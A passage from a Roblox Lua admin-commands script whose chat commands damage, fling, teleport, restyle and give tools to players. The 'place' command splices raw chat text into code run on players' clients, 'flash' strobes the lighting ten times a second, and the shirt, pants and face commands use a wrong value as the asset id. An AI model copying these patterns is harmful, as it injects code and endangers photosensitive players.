script.Parent.Selected:connect(function(mouse)
1120
if not mouse then return end
1121
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1122
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1123
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1124
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1125
hs.MouseButton1Down:connect(function() pdist = 0 end)
1126
end)
1127
1128
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1129
end
1130
end))
1131
end
1132
end
1133
1134
if msg:lower():sub(1,5) == "give " then
1135
local chk1 = msg:lower():sub(6):find(" ") + 5
1136
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1137
for i, v in pairs(plrz) do
1138
coroutine.resume(coroutine.create(function()
1139
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
1140
for a, tool in pairs(game.Lighting:children()) do
1141
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1142
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1143
end
1144
end
1145
end
1146
end))
1147
end
1148
end
1149
1150
if msg:lower():sub(1,12) == "removetools " then
1151
local plrz = GetPlr(plr, msg:lower():sub(13))
1152
for i, v in pairs(plrz) do
1153
coroutine.resume(coroutine.create(function()
1154
if v and v.Character and v:findFirstChild("Backpack") then 
1155
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1156
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1157
end
1158
end))
1159
end
1160
end
1161
1162
if msg:lower():sub(1,5) == "rank " then
1163
local chk1 = msg:lower():sub(6):find(" ") + 5
1164
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1165
for i, v in pairs(plrz) do
1166
coroutine.resume(coroutine.create(function()
1167
if v and v:IsInGroup(msg:sub(chk1+1)) then 
1168
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1169
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1170
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1171
end
1172
end))
1173
end
1174
end
1175
1176
if msg:lower():sub(1,7) == "damage " then
1177
local chk1 = msg:lower():sub(8):find(" ") + 7
1178
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1179
for i, v in pairs(plrz) do
1180
coroutine.resume(coroutine.create(function()
1181
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1182
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1183
end
1184
end))
1185
end
1186
end
1187
1188
if msg:lower():sub(1,5) == "grav " then
1189
local plrz = GetPlr(plr, msg:lower():sub(6))
1190
for i, v in pairs(plrz) do
1191
coroutine.resume(coroutine.create(function()
1192
if v and v.Character and v.Character:findFirstChild("Torso") then 
1193
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1194
end
1195
end))
1196
end
1197
end
1198
1199
if msg:lower():sub(1,8) == "setgrav " then
1200
local chk1 = msg:lower():sub(9):find(" ") + 8
1201
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1202
for i, v in pairs(plrz) do
1203
coroutine.resume(coroutine.create(function()
1204
if v and v.Character and v.Character:findFirstChild("Torso") then 
1205
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1206
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1207
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1208
end
1209
end))
1210
end
1211
end
1212
1213
if msg:lower():sub(1,7) == "nograv " then
1214
local plrz = GetPlr(plr, msg:lower():sub(8))
1215
for i, v in pairs(plrz) do
1216
coroutine.resume(coroutine.create(function()
1217
if v and v.Character and v.Character:findFirstChild("Torso") then 
1218
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1219
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1220
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1221
end
1222
end))
1223
end
1224
end
1225
1226
if msg:lower():sub(1,7) == "health " then
1227
local chk1 = msg:lower():sub(8):find(" ") + 7
1228
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1229
for i, v in pairs(plrz) do
1230
coroutine.resume(coroutine.create(function()
1231
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1232
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1233
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1234
end
1235
end))
1236
end
1237
end
1238
1239
if msg:lower():sub(1,6) == "speed " then
1240
local chk1 = msg:lower():sub(7):find(" ") + 6
1241
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1242
for i, v in pairs(plrz) do
1243
coroutine.resume(coroutine.create(function()
1244
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1245
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1246
end
1247
end))
1248
end
1249
end
1250
1251
if msg:lower():sub(1,5) == "team " then
1252
local chk1 = msg:lower():sub(6):find(" ") + 5
1253
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1254
for i, v in pairs(plrz) do
1255
coroutine.resume(coroutine.create(function()
1256
if v and game:findFirstChild("Teams") then 
1257
for a, tm in pairs(game.Teams:children()) do
1258
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1259
end
1260
end
1261
end))
1262
end
1263
end
1264
1265
if msg:lower():sub(1,6) == "place " then
1266
local chk1 = msg:lower():sub(7):find(" ") + 6
1267
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1268
for i, v in pairs(plrz) do
1269
coroutine.resume(coroutine.create(function()
1270
if v and v:findFirstChild("PlayerGui") then 
1271
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1272
end
1273
end))
1274
end
1275
end
1276
1277
if msg:lower():sub(1,3) == "tp " then
1278
local chk1 = msg:lower():sub(4):find(" ") + 3
1279
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1280
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1281
for i, v in pairs(plrz) do
1282
coroutine.resume(coroutine.create(function()
1283
for i2, v2 in pairs(plrz2) do
1284
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1285
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1286
end
1287
end
1288
end))
1289
end
1290
end
1291
1292
if msg:lower():sub(1,7) == "change " then
1293
local chk1 = msg:lower():sub(8):find(" ") + 7
1294
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1295
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1296
for i, v in pairs(plrz) do
1297
coroutine.resume(coroutine.create(function()
1298
if v and v:findFirstChild("leaderstats") then 
1299
for a, st in pairs(v.leaderstats:children()) do
1300
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1301
end
1302
end
1303
end))
1304
end
1305
end
1306
1307
if msg:lower():sub(1,6) == "shirt " then
1308
local chk1 = msg:lower():sub(7):find(" ") + 6
1309
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1310
for i, v in pairs(plrz) do
1311
coroutine.resume(coroutine.create(function()
1312
if v and v.Character then 
1313
for i,v in pairs(v.Character:children()) do
1314
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1315
end
1316
end
1317
end))
1318
end
1319
end
1320
1321
if msg:lower():sub(1,6) == "pants " then
1322
local chk1 = msg:lower():sub(7):find(" ") + 6
1323
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1324
for i, v in pairs(plrz) do
1325
coroutine.resume(coroutine.create(function()
1326
if v and v.Character then 
1327
for i,v in pairs(v.Character:children()) do
1328
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1329
end
1330
end
1331
end))
1332
end
1333
end
1334
1335
if msg:lower():sub(1,5) == "face " then
1336
local chk1 = msg:lower():sub(6):find(" ") + 5
1337
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1338
for i, v in pairs(plrz) do
1339
coroutine.resume(coroutine.create(function()
1340
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
1341
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1342
end
1343
end))
1344
end
1345
end
1346
1347
------------------
1348
-- Fun Commands --
1349
------------------
1350
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1351
	
1352
if msg:lower():sub(1,8) == "swagify " then
1353
local plrz = GetPlr(plr, msg:lower():sub(9))
1354
for i, v in pairs(plrz) do
1355
coroutine.resume(coroutine.create(function()
1356
if v and v.Character then
1357
for i,v in pairs(v.Character:children()) do
1358
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1359
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1360
end
1361
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1362
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1363
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1364
local torso = plr.Character.Torso
1365
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1366
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1367
p.Size = Vector3.new(.2,.2,.2)
1368
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1369
local motor1 = Instance.new("Motor", p)
1370
motor1.Part0 = p
1371
motor1.Part1 = torso
1372
motor1.MaxVelocity = .01
1373
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1374
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1375
local wave = false
1376
repeat wait(1/44)
1377
local ang = 0.1
1378
local oldmag = torso.Velocity.magnitude
1379
local mv = .002
1380
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1381
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1382
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1383
motor1.DesiredAngle = -ang
1384
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1385
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1386
if torso.Velocity.magnitude < .1 then wait(.1) end
1387
until not p or p.Parent ~= torso.Parent
1388
script:Destroy()
1389
]] cl.Parent = v.PlayerGui cl.Disabled = false
1390
end
1391
end))
1392
end
1393
end
1394
1395
if msg:lower():sub(1,6) == "music " then
1396
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1397
local id = msg:sub(7)
1398
local pitch = 1
1399
if tostring(id):lower():find("caramell") then id = 2303479 end
1400
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1401
if tostring(id):find("rick") then id = 2027611 end
1402
if tostring(id):find("halo") then id = 1034065  end
1403
if tostring(id):find("pokemon") then id = 1372261 end
1404
if tostring(id):find("cursed") then id = 1372257 end
1405
if tostring(id):find("extreme") then id = 11420933 end
1406
if tostring(id):find("awaken") then id = 27697277 end
1407
if tostring(id):find("alone") then id = 27697392 end
1408
if tostring(id):find("mario") then id = 1280470 end
1409
if tostring(id):find("choir") then id = 1372258 end
1410
if tostring(id):find("chrono") then id = 1280463 end
1411
if tostring(id):find("dotr") then id = 11420922 end
1412
if tostring(id):find("entertain") then id = 27697267 end
1413
if tostring(id):find("fantasy") then id = 1280473 end
1414
if tostring(id):find("final") then id = 1280414 end
1415
if tostring(id):find("emblem") then id = 1372259 end
1416
if tostring(id):find("flight") then id = 27697719 end
1417
if tostring(id):find("banjo") then id = 27697298 end
1418
if tostring(id):find("gothic") then id = 27697743 end
1419
if tostring(id):find("hiphop") then id = 27697735 end
1420
if tostring(id):find("intro") then id = 27697707 end
1421
if tostring(id):find("mule") then id = 1077604 end
1422
if tostring(id):find("film") then id = 27697713 end
1423
if tostring(id):find("nezz") then id = 8610025 end
1424
if tostring(id):find("angel") then id = 1372260 end
1425
if tostring(id):find("resist") then id = 27697234 end
1426
if tostring(id):find("schala") then id = 5985787 end
1427
if tostring(id):find("organ") then id = 11231513 end
1428
if tostring(id):find("tunnel") then id = 9650822 end
1429
if tostring(id):find("spanish") then id = 5982975 end
1430
if tostring(id):find("venom") then id = 1372262 end
1431
if tostring(id):find("wind") then id = 1015394 end
1432
if tostring(id):find("guitar") then id = 5986151 end
1433
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1434
end
1435
1436
if msg:lower() == "stopmusic" then
1437
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1438
end
1439
1440
if msg:lower() == "musiclist" then
1441
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1442
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1443
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1444
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1445
end
1446
1447
if msg:lower():sub(1,4) == "fly " then
1448
local plrz = GetPlr(plr, msg:lower():sub(5))
1449
for i, v in pairs(plrz) do
1450
coroutine.resume(coroutine.create(function()
1451
if v and v:findFirstChild("PlayerGui") then
1452
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
1453
cl.Parent = v.PlayerGui cl.Disabled = false
1454
end
1455
end))
1456
end
1457
end
1458
1459
if msg:lower():sub(1,6) == "unfly " then
1460
local plrz = GetPlr(plr, msg:lower():sub(7))
1461
for i, v in pairs(plrz) do
1462
coroutine.resume(coroutine.create(function()
1463
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1464
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1465
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1466
wait(.1) v.Character.Humanoid.PlatformStand = false
1467
end
1468
end))
1469
end
1470
end
1471
1472
if msg:lower() == "disco" then
1473
for i, v in pairs(lobjs) do v:Destroy() end
1474
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1475
game.Lighting.Ambient = color
1476
game.Lighting.FogColor = color
1477
until nil]]
1478
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1479
end
1480
1481
if msg:lower() == "flash" then
1482
for i, v in pairs(lobjs) do v:Destroy() end
1483
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) 
1484
game.Lighting.Ambient = Color3.new(1,1,1)
1485
game.Lighting.FogColor = Color3.new(1,1,1)
1486
game.Lighting.Brightness = 1
1487
game.Lighting.TimeOfDay = 14
1488
wait(.1) 
1489
game.Lighting.Ambient = Color3.new(0,0,0)
1490
game.Lighting.FogColor = Color3.new(0,0,0)
1491
game.Lighting.Brightness = 0
1492
game.Lighting.TimeOfDay = 0
1493
until nil]]
1494
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1495
end
1496
1497
if msg:lower():sub(1,5) == "spin " then
1498
local plrz = GetPlr(plr, msg:lower():sub(6))
1499
for i, v in pairs(plrz) do
1500
coroutine.resume(coroutine.create(function()
1501
if v and v.Character and v.Character:findFirstChild("Torso") then
1502
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1503
local torso = v.Character:findFirstChild("Torso")
1504
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1505
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1506
until not bg or bg.Parent ~= torso
1507
end
1508
end))
1509
end
1510
end
1511
1512
if msg:lower():sub(1,7) == "unspin " then
1513
local plrz = GetPlr(plr, msg:lower():sub(8))
1514
for i, v in pairs(plrz) do
1515
coroutine.resume(coroutine.create(function()
1516
if v and v.Character and v.Character:findFirstChild("Torso") then
1517
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1518
end
1519
end))
1520
end
1521
end
1522
1523
if msg:lower():sub(1,4) == "dog " then
1524
local plrz = GetPlr(plr, msg:lower():sub(5))
1525
for i, v in pairs(plrz) do
1526
coroutine.resume(coroutine.create(function()
1527
if v and v.Character and v.Character:findFirstChild("Torso") then
1528
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1529
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1530
v.Character.Torso.Transparency = 1
1531
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1532
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1533
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1534
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1535
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1536
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1537
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1538
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1539
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1540
end
1541
end))
1542
end
1543
end
1544
1545
if msg:lower():sub(1,6) == "undog " then
1546
local plrz = GetPlr(plr, msg:lower():sub(7))
1547
for i, v in pairs(plrz) do
1548
coroutine.resume(coroutine.create(function()
1549
if v and v.Character and v.Character:findFirstChild("Torso") then
1550
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1551
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1552
v.Character.Torso.Transparency = 0
1553
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1554
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1555
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1556
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1557
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1558
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1559
end
1560
end))
1561
end
1562
end
1563
1564
if msg:lower():sub(1,8) == "creeper " then
1565
local plrz = GetPlr(plr, msg:lower():sub(9))
1566
for i, v in pairs(plrz) do
1567
coroutine.resume(coroutine.create(function()
1568
if v and v.Character and v.Character:findFirstChild("Torso") then
1569
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1570
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1571
v.Character.Torso.Transparency = 0
1572
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1573
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1574
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1575
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1576
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1577
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1578
end
1579
end))
1580
end
1581
end
1582
1583
if msg:lower():sub(1,10) == "uncreeper " then
1584
local plrz = GetPlr(plr, msg:lower():sub(11))
1585
for i, v in pairs(plrz) do
1586
coroutine.resume(coroutine.create(function()
1587
if v and v.Character and v.Character:findFirstChild("Torso") then
1588
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1589
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1590
v.Character.Torso.Transparency = 0
1591
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1592
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1593
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1594
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1595
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1596
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1597
end
1598
end))
1599
end
1600
end
1601
1602
if msg:lower():sub(1,8) == "bighead " then
1603
local plrz = GetPlr(plr, msg:lower():sub(9))
1604
for i, v in pairs(plrz) do
1605
coroutine.resume(coroutine.create(function()
1606
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1607
end))
1608
end
1609
end
1610
1611
if msg:lower():sub(1,9) == "minihead " then
1612
local plrz = GetPlr(plr, msg:lower():sub(10))
1613
for i, v in pairs(plrz) do
1614
coroutine.resume(coroutine.create(function()
1615
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1616
end))
1617
end
1618
end
1619
1620
if msg:lower():sub(1,6) == "fling " then
1621
local plrz = GetPlr(plr, msg:lower():sub(7))
1622
for i, v in pairs(plrz) do
1623
coroutine.resume(coroutine.create(function()
1624
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
1625
local xran local zran
1626
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1627
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1628
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1629
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1630
end
1631
end))
1632
end
1633
end
1634
1635
if msg:lower():sub(1,8) == "seizure " then
1636
